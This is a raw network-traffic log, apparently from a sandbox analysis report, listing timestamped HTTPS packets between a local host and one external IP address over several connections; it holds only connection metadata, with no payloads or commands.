Oct 2, 2024 17:16:49.273813009 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.273880959 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.273890972 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.273974895 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.281861067 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.281919956 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.281951904 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.281963110 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.281996965 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.281996965 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.288707018 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.288727045 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.288780928 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.288796902 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.288815022 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.288831949 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.294637918 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.294715881 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.294724941 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.294738054 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.294783115 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.295229912 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.295247078 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.295255899 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.295298100 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.297439098 CEST	65245	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.297493935 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.297568083 CEST	65245	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.305123091 CEST	65245	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.305157900 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.970856905 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.970947027 CEST	65245	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.971506119 CEST	65245	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.971518040 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.973727942 CEST	65245	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.973732948 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:50.402894020 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:50.402921915 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:50.402939081 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:50.402967930 CEST	65245	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:50.402996063 CEST	65245	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:50.403006077 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:50.403048038 CEST	65245	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:51.456933022 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.456945896 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.456993103 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.457015991 CEST	65245	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:51.457035065 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.457056999 CEST	65245	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:51.457077026 CEST	65245	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:51.457456112 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.457473040 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.457528114 CEST	65245	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:51.457531929 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.457571030 CEST	65245	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:51.465277910 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.465298891 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.465363026 CEST	65245	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:51.465369940 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.465411901 CEST	65245	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:51.467008114 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.467022896 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.467072010 CEST	65245	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:51.467076063 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.467107058 CEST	65245	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:51.469517946 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.469532967 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.469589949 CEST	65245	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:51.469594955 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.469626904 CEST	65245	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:51.473810911 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.473826885 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.473901033 CEST	65245	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:51.473906994 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.473963976 CEST	65245	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:51.474237919 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.474256039 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.474312067 CEST	65245	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:51.474317074 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.474354982 CEST	65245	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:51.476645947 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.476660967 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.476705074 CEST	65245	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:51.476712942 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.476742983 CEST	65245	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:51.478554010 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.478570938 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.478621960 CEST	65245	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:51.478627920 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.478660107 CEST	65245	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:51.479553938 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.479568005 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.479615927 CEST	65245	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:51.479620934 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.479655027 CEST	65245	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:51.480427980 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.480443001 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.480496883 CEST	65245	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:51.480501890 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.480545998 CEST	65245	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:51.481111050 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.481125116 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.481175900 CEST	65245	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:51.481180906 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.481232882 CEST	65245	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:51.482014894 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.482028961 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.482074976 CEST	65245	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:51.482079983 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.482110023 CEST	65245	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:51.482738018 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.482755899 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.482804060 CEST	65245	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:51.482808113 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.482836008 CEST	65245	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:51.483552933 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.483587980 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.483611107 CEST	65245	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:51.483618021 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.483628035 CEST	65245	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:51.483634949 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.483648062 CEST	65245	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:51.483674049 CEST	65245	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:51.484114885 CEST	65245	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:51.484127998 CEST	443	65245	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.485291004 CEST	65246	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:51.485316992 CEST	443	65246	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:51.485380888 CEST	65246	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:51.485778093 CEST	65246	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:51.485786915 CEST	443	65246	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:52.150338888 CEST	443	65246	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:52.150404930 CEST	65246	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:52.151005983 CEST	65246	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:52.151011944 CEST	443	65246	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:52.153686047 CEST	65246	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:52.153692007 CEST	443	65246	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:52.581954002 CEST	443	65246	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:52.581979990 CEST	443	65246	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:52.581999063 CEST	443	65246	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:52.582016945 CEST	65246	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:52.582043886 CEST	65246	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:52.582055092 CEST	443	65246	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:52.582091093 CEST	65246	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:52.612880945 CEST	443	65246	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:52.612911940 CEST	443	65246	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:52.613015890 CEST	65246	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:52.613044024 CEST	443	65246	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:52.613090038 CEST	65246	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:52.679706097 CEST	443	65246	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:52.679733992 CEST	443	65246	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:52.679821968 CEST	65246	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:52.679845095 CEST	443	65246	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:52.679889917 CEST	65246	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:52.705636978 CEST	443	65246	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:52.705671072 CEST	443	65246	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:52.705751896 CEST	65246	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:52.705771923 CEST	443	65246	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:52.705817938 CEST	65246	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:52.738394022 CEST	443	65246	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:52.738471985 CEST	443	65246	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:52.738503933 CEST	443	65246	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:52.738522053 CEST	65246	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:52.738588095 CEST	65246	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:52.738938093 CEST	65246	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:52.738957882 CEST	443	65246	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:52.740381956 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:52.740437984 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:52.740549088 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:52.740946054 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:52.740958929 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:53.382824898 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:53.382930994 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:53.383550882 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:53.383563995 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:53.386651039 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:53.386662960 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:53.819892883 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:53.819921017 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:53.819937944 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:53.819962978 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:53.819987059 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:53.820002079 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:53.820008039 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:53.820056915 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:53.850533962 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:53.850550890 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:53.850636959 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:53.850667000 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:53.850761890 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:53.917746067 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:53.917778015 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:53.917839050 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:53.917867899 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:53.917887926 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:53.917907953 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:53.947432041 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:53.947458982 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:53.947531939 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:53.947555065 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:53.947660923 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:53.985379934 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:53.985405922 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:53.985467911 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:53.985501051 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:53.985519886 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:53.985539913 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.016160965 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.016185999 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.016266108 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.016283989 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.019352913 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.035047054 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.035070896 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.035183907 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.035200119 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.036070108 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.053103924 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.053128958 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.053267002 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.053278923 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.053327084 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.070628881 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.070647955 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.070728064 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.070741892 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.070780993 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.085014105 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.085042000 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.085097075 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.085115910 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.085150957 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.085170031 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.103100061 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.103128910 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.103224039 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.103240967 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.105871916 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.124805927 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.124835014 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.124897957 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.124908924 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.124943018 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.140242100 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.140269041 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.140337944 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.140351057 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.140379906 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.140398026 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.152220964 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.152244091 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.152338982 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.152353048 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.152419090 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.152477980 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.160859108 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.160880089 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.160917997 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.160939932 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.160944939 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.161005020 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.171005011 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.171025038 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.171072006 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.171087027 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.171108961 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.171132088 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.180907011 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.180924892 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.180973053 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.181001902 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.181016922 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.181049109 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.189306021 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.189325094 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.189389944 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.189419985 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.189464092 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.197324038 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.197407961 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.197426081 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.197457075 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.197478056 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.197499037 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.215240002 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.215261936 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.215313911 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.215343952 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.215362072 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.215396881 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.225135088 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.225157976 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.225234985 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.225255013 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.225370884 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.234587908 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.234611988 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.234675884 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.234702110 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.234756947 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.244544029 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.244565964 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.244627953 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.244657040 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.244683981 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.244693041 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.254451036 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.254479885 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.254549980 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.254585981 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.254626036 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.263792992 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.263824940 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.263916016 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.263952971 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.264015913 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.273413897 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.273458004 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.273525953 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.273556948 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.273667097 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.281514883 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.281534910 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.281603098 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.281636000 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.281653881 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.281671047 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.301527977 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.301542997 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.301611900 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.301651955 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.301719904 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.311290026 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.311305046 CEST	443	65247	49.12.197.9	192.168.2.6
